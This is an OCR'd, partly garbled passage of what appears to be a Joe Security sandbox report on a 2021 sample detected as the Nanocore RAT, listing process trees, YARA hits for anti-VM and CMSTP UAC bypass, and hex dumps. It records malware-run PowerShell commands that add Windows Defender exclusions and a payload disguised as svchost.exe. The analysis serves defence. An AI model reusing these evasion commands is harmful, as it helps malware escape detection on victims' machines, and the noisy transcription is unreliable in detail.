30 20 39 37 20 30 20 31 30 30 20 30 20 31 30 34 20 30 20 33 37 20 30 20 31 31 36 20 30 20 33 37 20 30 20 39 37 20 30
20 31 31 33 20 30 20 31 30 33 20 30 20 31 30 35 20 30 20 31 32 32 20 30 20 31 30 31 20 30 20 31 30 37 20 30 20 31 31
3820 30 20 31 31 36 20 30 20 31 30 35 20 30 20 31 31 39 20 30 20 31 32 30 20 30 20 31 30 39 20 30 20 33 37 20 30 20
39 37 20 30 20 33 37 20 30 20 31 31 34 20 30 20 31 31 31 20 30 20 31 31 39

Data Ascii: 11201090118037032037011201130119098 01000111037 0115037 01000 10501080113
0101097010001040370116037097011301030105012201010107011801160 10501190 1200109 0
3709703701140111 0119

Data Raw: 30 20 31 30 38 20 30 20 31 31 34 20 30 20 31 31 36 20 30 20 31 30 38 20 30 20 31 30 33 20 30 20 31 30 32
203020 31 31 30 20 30 20 31 30 39 20 30 20 31 31 31 20 30 20 31 30 34 20 30 20 31 30 37 20 30 20 31 31 35 20 30 20
31 31 30 20 30 20 33 37 20 30 20 31 30 30 20 30 20 33 37 20 30 20 31 30 30 20 30 20 31 30 32 20 30 20 31 30 30 20 30
20 313132203020 31303720 302031313120 3020 313230203020 313035203020 31 3132203020 3130
3120 30 20 33 37 20 30 20 31 33 20 30 20 31 30 20 30 20 33 37 20 30 20 31 31 39 20 30 20 31 31 30 20 30 20 39 37 20
30 20 31 30 36 20 30 20 31 30 32 20 30 20 31 31 38 20 30 20 31 30 36 20 30 20 31 31 34 20 30 20 31 31 31 20 30 20 39
38 20 30 20 31 32 32 20 30 20 31 30 34 20 30 20 33 37 20 30 20 39 39 20 30

Data Ascii: 0 108 0114 0 116 0 108 0 103 0 102 0 110 0 1090 111 0 104 0 107 0 115 0 110 0 37 0 100 0 37 0 100 0 102
0100011201070111012001050112010103701301003701190110097 0106 010201180106 01140
111098012201040370990

Data Raw: 20 30 20 31 31 30 20 30 20 31 31 35 20 30 20 30 20 31 20 30 20 33 33 20 31 31 30 20 30 20 31 31 31 20 30
20 38 36 20 30 20 39 37 20 30 20 31 30 38 20 30 20 31 31 37 20 30 20 31 30 31 20 30 20 36 36 20 30 20 31 31 37 20 30
20 31 31 36 20 30 20 38 39 20 30 20 31 30 31 20 30 20 31 31 35 20 30 20 37 35 20 30 20 31 30 31 20 30 20 31 32 31 20
30 20 30 20 38 33 20 36 37 20 30 20 35 38 20 30 20 39 32 20 30 20 38 37 20 30 20 37 33 20 30 20 37 38 20 30 20 36 38
20 30 20 37 39 20 30 20 38 37 20 30 20 38 33 20 30 20 39 32 20 30 20 31 31 35 20 30 20 31 32 31 20 30 20 31 31 35 20
30 20 31 31 36 20 30 20 31 30 31 20 30 20 31 30 39 20 30 20 35 31 20 30 20 35 30 20 30 20 39 32 20 30 20 31 30 30 20
30 20 31 31 34 20 30 20 31 30 35 20 30 20 31 31 38 20 30 20 31 30 31 20 30

Data Ascii: 011001150010331100111086097010801170101066011701160890101011507501010
1210083670580920870730780680790870830920115012101150116010101090510500920 10
001140105011801010

Data Raw: 32 20 34 20 32 34 34 20 30 20 30 20 31 39 32 20 34 20 32 34 35 20 30 20 30 20 31 39 32 20 34 20 32 34 36

20 30 20 30 20 31 39 32 20 34 20 32 34 37 20 30 20 30 20 31 39 32 20 34 20 32 34 38 20 30 20 30 20 31 39 32 20 34 20
32 34 39 20 30 20 30 20 31 39 32 20 34 20 32 35 30 20 30 20 30 20 31 39 32 20 34 20 33 30 20 31 20 30 20 31 39 32 20
342033 3120 31 20 30 20 31 39 32 20 34 20 33 32 20 31 20 30 20 31 39 32 20 34 20 33 33 20 31 20 30 20 31 39 32 20
34 20 33 34 20 31 20 30 20 31 39 32 20 34 20 33 35 20 31 20 30 20 31 39 32 20 34 20 33 36 20 31 20 30 20 31 39 32 20
34 20 33 37 20 31 20 30 20 31 39 32 20 34 20 33 38 20 31 20 30 20 31 39 32 20 34 20 33 39 20 31 20 30 20 31 39 32 20
34 20 34 30 20 31 20 30 20 31 39 32 20 34 20 34 31 20 31 20 30 20 31 39 32

Data Ascii: 24244001924 245001924246 001924 247001924248001924249001924250001924 301

0192431101924321019243310192434101924351019243610192437101924381019243910

1924401019244110192
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process

: S9SWgUgyOb5.exe PID: 6376 Parent PID: 5196

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Written

20:27:25

27/09/2021

C:\Users\user\Desktop\s9SWgUgyO5.exe

true

‘C:\Users\user\Desktop\s9SWgUgyO5.exe'

0xc30000

31232 bytes
B462382CB954466386F9334247E0A34C

true

true

.Net C# or VB.NET

.

low

Copyright Joe Security LLC 2021

Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000000.322095738.0000000006140000.00000004.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
00000000.00000000.322095738.0000000006140000.00000004.00020000.sdmp, Author:
Joe Security

Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000000.287469319.0000000003EC9000.00000004.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
00000000.00000000.287469319.0000000003EC9000.00000004.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000000.00000000.288117439.00000000040A9000.00000004.00000001.sdmp, Author:
Joe Security

Rule: JoeSecurity_ UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
00000000.00000000.288117439.00000000040A9000.00000004.00000001.sdmp, Author:
Joe Security

Rule: Nanocore_ RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000000.00000000.288438993.0000000004189000.00000004.00000001.sdmp, Author:
Florian Roth

Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
00000000.00000000.288438993.0000000004189000.00000004.00000001.sdmp, Author:
Joe Security

Rule: NanoCore, Description: unknown, Source:
00000000.00000000.288438993.0000000004189000.00000004.00000001.sdmp, Author:
Kevin Breen <kevin@techanarchy.net>

Show Windows behavior
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File Read

Registry Activities Show Windows behavior

Key Created

Key Value Created

Analysis Process: powershell.exe PID: 6564 Parent PID: 6376

General
Start time: 20:27:28
Start date: 27/09/2021
Path: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\Public\Documents\???????????????\svchost.exe’ -Force
Imagebase: 0x11b0000
File size: 430592 bytes
MD5 hash: DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges: true
Has administrator privileges: true
Programmed in: Net C# or VB.NET
Reputation: high
File Activities Show Windows behavior
File Created
File Deleted
File Written
File Read

Analysis Process: conhost.exe PID: 6572 Parent PID: 6564

General

Start time: 20:27:28

Start date: 27/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: powershell.exe PID: 6588 Parent PID: 6376

General
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Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

20:27:28

27/09/2021
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\user\Desktop\s9SWgUgyO5.exe' -Force

0x11b0000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET

high

Show Windows behavior

Analysis Process: conhost.exe PID: 6640 Parent PID: 6588

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:27:29

27/09/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Reputation: high
Analysis Process: powershell.exe PID: 6648 Parent PID: 6376
General
Start time: 20:27:29
Start date: 27/09/2021
Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): true
Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\Public\Documents\???????????????\svchost.exe' -Force
Imagebase: 0x11b0000
File size: 430592 bytes
MDS5 hash: DBA3E6449E97D4E3DF64527EF7012A10

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Copyright Joe Security LLC 2021

true
true
.Net C# or VB.NET
high
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Analysis Process: conhost.exe PID: 6748 Parent PID: 6648

General

Start time: 20:27:30

Start date: 27/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff797770000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: svchost.exe PID: 6956 Parent PID: 556

General

Start time: 20:27:32

Start date: 27/09/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: s9SWgUgyO5.exe PID: 7060 Parent PID: 6376

General

Start time: 20:27:35

Start date: 27/09/2021

Path: C:\Users\user\Desktop\s9SWgUgyO5.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\Desktop\s9SWgUgyO5.exe

Imagebase: 0x9e0000

File size: 31232 bytes

MD5 hash: B462382CB954466386F9334247E0A34C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526244100.0000000007150000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526244100.0000000007150000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526184455.0000000006FF0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526184455.0000000006FF0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.525611849.0000000006000000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
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0000000A.00000002.525611849.0000000006000000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526053509.0000000006E20000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526053509.0000000006E20000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526069628.0000000006E30000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526069628.0000000006E30000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526170898.0000000006FE0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526170898.0000000006FE0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526125965.0000000006FB0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526125965.0000000006FB0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.509785046.0000000000402000.00000040.00000001.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000A.00000002.509785046.0000000000402000.00000040.00000001.sdmp, Author:
Joe Security

e Rule: NanoCore, Description: unknown, Source:
0000000A.00000002.509785046.0000000000402000.00000040.00000001.sdmp, Author:
Kevin Breen <kevin@techanarchy.net>

e Rule: NanoCore, Description: unknown, Source:
0000000A.00000002.522721839.00000000047BF000.00000004.00000001.sdmp, Author:
Kevin Breen <kevin@techanarchy.net>

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000A.00000002.515373653.0000000002C91000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: NanoCore, Description: unknown, Source:
0000000A.00000002.515818035.0000000002CFC000.00000004.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526153225.0000000006FD0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526153225.0000000006FD0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526203306.0000000007000000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526203306.0000000007000000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: NanoCore, Description: unknown, Source:
0000000A.00000003.486623821.00000000048CB000.00000004.00000001.sdmp,
Author: Kevin Breen <kevin@techanarchy.net>

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526365497.00000000071E0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526365497.00000000071E0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526138671.0000000006FC0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526138671.0000000006FC0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526340220.00000000071B0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526340220.00000000071B0000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.526292009.0000000007180000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.526292009.0000000007180000.00000004.00020000.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000A.00000002.522820033.00000000048AA000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: NanoCore, Description: unknown, Source:
0000000A.00000002.522820033.00000000048AA000.00000004.00000001.sdmp, Author:
Kevin Breen <kevin@techanarchy.net>

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
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0000000A.00000002.522346624.0000000003CE7000.00000004.00000001.sdmp,

Author: Joe Security

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000A.00000002.525659501.00000000060A0000.00000004.00020000.sdmp, Author:

Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
0000000A.00000002.525659501.00000000060A0000.00000004.00020000.sdmp, Author:

Florian Roth

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000A.00000002.525659501.00000000060A0000.00000004.00020000.sdmp, Author:

Joe Security
e Rule: NanoCore, Description: unknown, Source:

0000000A.00000002.522470362.0000000004578000.00000004.00000001.sdmp, Author:

Kevin Breen <kevin@techanarchy.net>

Analysis Process: svchost.exe PID: 7084 Parent PID: 556

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:27:36

27/09/2021

C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k WerSvcGroup
0x7ff797770000

51288 bytes
32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language

Analysis Process: WerFault.exe PID: 7124 Parent PID: 7084

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:27:37
27/09/2021
C:\Windows\SysWOW64\WerFault.exe

true

C:\Windows\SysWOWe64\WerFault.exe -pss -s 468 -p 6376 -ip 6376

0x960000

434592 bytes
9E2BBACAD48ECCAS55C0230D63623661B
true

true

C, C++ or other language

Analysis Process: svchost.exe PID: 4956 Parent PID: 3472

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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20:27:42
27/09/2021

0x2b0000

31232 bytes
B462382CB954466386F9334247E0A34C
true

true

.Net C# or VB.NET

Page 108 of 118



Yara matches:

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000000E.00000000.364082141.0000000006100000.00000004.00020000.sdmp, Author:
Joe Security

* Rule: JoeSecurity_ UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000000E.00000000.364082141.0000000006100000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000000E.00000000.383552870.0000000006100000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_ UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000000E.00000000.383552870.0000000006100000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000000E.00000000.382145337.0000000004814000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000000E.00000000.382145337.0000000004814000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000000E.00000000.359524967.0000000004814000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000000E.00000000.359524967.0000000004814000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000E.00000000.360439526.0000000004914000.00000004.00000001.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000000E.00000000.360439526.0000000004914000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000000E.00000000.360439526.0000000004914000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000E.00000000.360439526.0000000004914000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: NanoCore, Description: unknown, Source:
0000000E.00000000.360439526.0000000004914000.00000004.00000001.sdmp, Author:
Kevin Breen <kevin@techanarchy.net>

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000000E.00000000.382552554.0000000004914000.00000004.00000001.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000000E.00000000.382552554.0000000004914000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000000E.00000000.382552554.0000000004914000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000000E.00000000.382552554.0000000004914000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: NanoCore, Description: unknown, Source:
0000000E.00000000.382552554.0000000004914000.00000004.00000001.sdmp, Author:
Kevin Breen <kevin@techanarchy.net>

Analysis Process: svchost.exe PID: 2376 Parent PID: 556

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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20:27:42

27/09/2021

C:\Windows\System32\svchost.exe

false

C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NchService
0x7ff797770000

51288 bytes

32569E403279B3FD2EDB7EBD036273FA

true

true

C, C++ or other language
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Analysis Process: svchost.exe PID: 3708 Parent PID: 556

General

Start time: 20:27:44

Start date: 27/09/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase: 0x7ff797770000

File size: 51288 bytes

MDS5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: svchost.exe PID: 3240 Parent PID: 556

General

Start time: 20:27:46

Start date: 27/09/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: WerFault.exe PID: 1060 Parent PID: 6376

General

Start time: 20:27:46

Start date: 27/09/2021

Path: C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\WerFault.exe -u -p 6376 -s 2576
Imagebase: 0x960000

File size: 434592 bytes

MD5 hash: 9E2BBACAD48ECCAS55C0230D63623661B
Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: powershell.exe PID: 3444 Parent PID: 4956

General

Start time: 20:27:46

Start date: 27/09/2021

Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe
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Wow64 process (32bit): true

Commandline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\Public\Documents\???????????????\svchost.exe' -Force

Imagebase: 0x11b0000

File size: 430592 bytes

MDS5 hash: DBA3E6449E97D4E3DF64527EF7012A10

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Analysis Process: svchost.exe PID: 4988 Parent PID: 556

General

Start time: 20:27:46

Start date: 27/09/2021

Path: C:\Windows\System32\svchost.exe
Wow64 process (32bit): false

Commandline: C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase: 0x7ff797770000

File size: 51288 bytes

MD5 hash: 32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges: true

Has administrator privileges: false

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 6084 Parent PID: 3444

General

Start time: 20:27:47

Start date: 27/09/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: powershell.exe PID: 2196 Parent PID: 4956

General

Start time: 20:27:47

Start date: 27/09/2021

Path: C:\Windows\SysWOWe64\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit): true

Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex
clusionPath 'C:\Users\Public\Documents\???????????????\svchost.exe' -Force

Imagebase: 0x11b0000

File size: 430592 bytes

MD5 hash: DBA3E6449E97D4E3DF64527EF7012A10

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET
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Analysis Process: conhost.exe PID: 1100 Parent PID: 2196

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:27:48

27/09/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff797770000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: powershell.exe PID: 1752 Parent PID: 4956

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:27:48
27/09/2021

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

true

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -Ex

0x11b0000

430592 bytes
DBA3E6449E97D4E3DF64527EF7012A10
true

true

.Net C# or VB.NET

Analysis Process: conhost.exe PID: 6836 Parent PID: 1752

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

20:27:49

27/09/2021

C:\Windows\System32\conhost.exe

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7ecfc0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: svchost.exe PID: 6728 Parent PID: 3472

General

Start time:
Start date:
Path:
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Wow64 process (32bit): true

Commandline: ‘C:\Users\Public\Documents\???????????????\svchost.exe’

Imagebase: 0xac0000

File size: 31232 bytes

MDS5 hash: B462382CB954466386F9334247E0A34C

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000001B.00000000.379116652.00000000067F0000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_ UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000001B.00000000.379116652.00000000067F0000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000001B.00000000.392538687.00000000067F0000.00000004.00020000.sdmp, Author:
Joe Security

* Rule: JoeSecurity_ UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000001B.00000000.392538687.00000000067F0000.00000004.00020000.sdmp, Author:
Joe Security

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
0000001B.00000000.376574756.0000000005084000.00000004.00000001.sdmp, Author:
Florian Roth

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000001B.00000000.376574756.0000000005084000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000001B.00000000.376574756.0000000005084000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source:
0000001B.00000000.376574756.0000000005084000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: NanoCore, Description: unknown, Source:
0000001B.00000000.376574756.0000000005084000.00000004.00000001.sdmp, Author:
Kevin Breen <kevin@techanarchy.net>

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000001B.00000000.390697273.0000000004F84000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
0000001B.00000000.390697273.0000000004F84000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000001B.00000000.376186013.0000000004F84000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity UACBypassusingCMSTP, Description: Yara detected UAC Bypass
using CMSTP, Source:
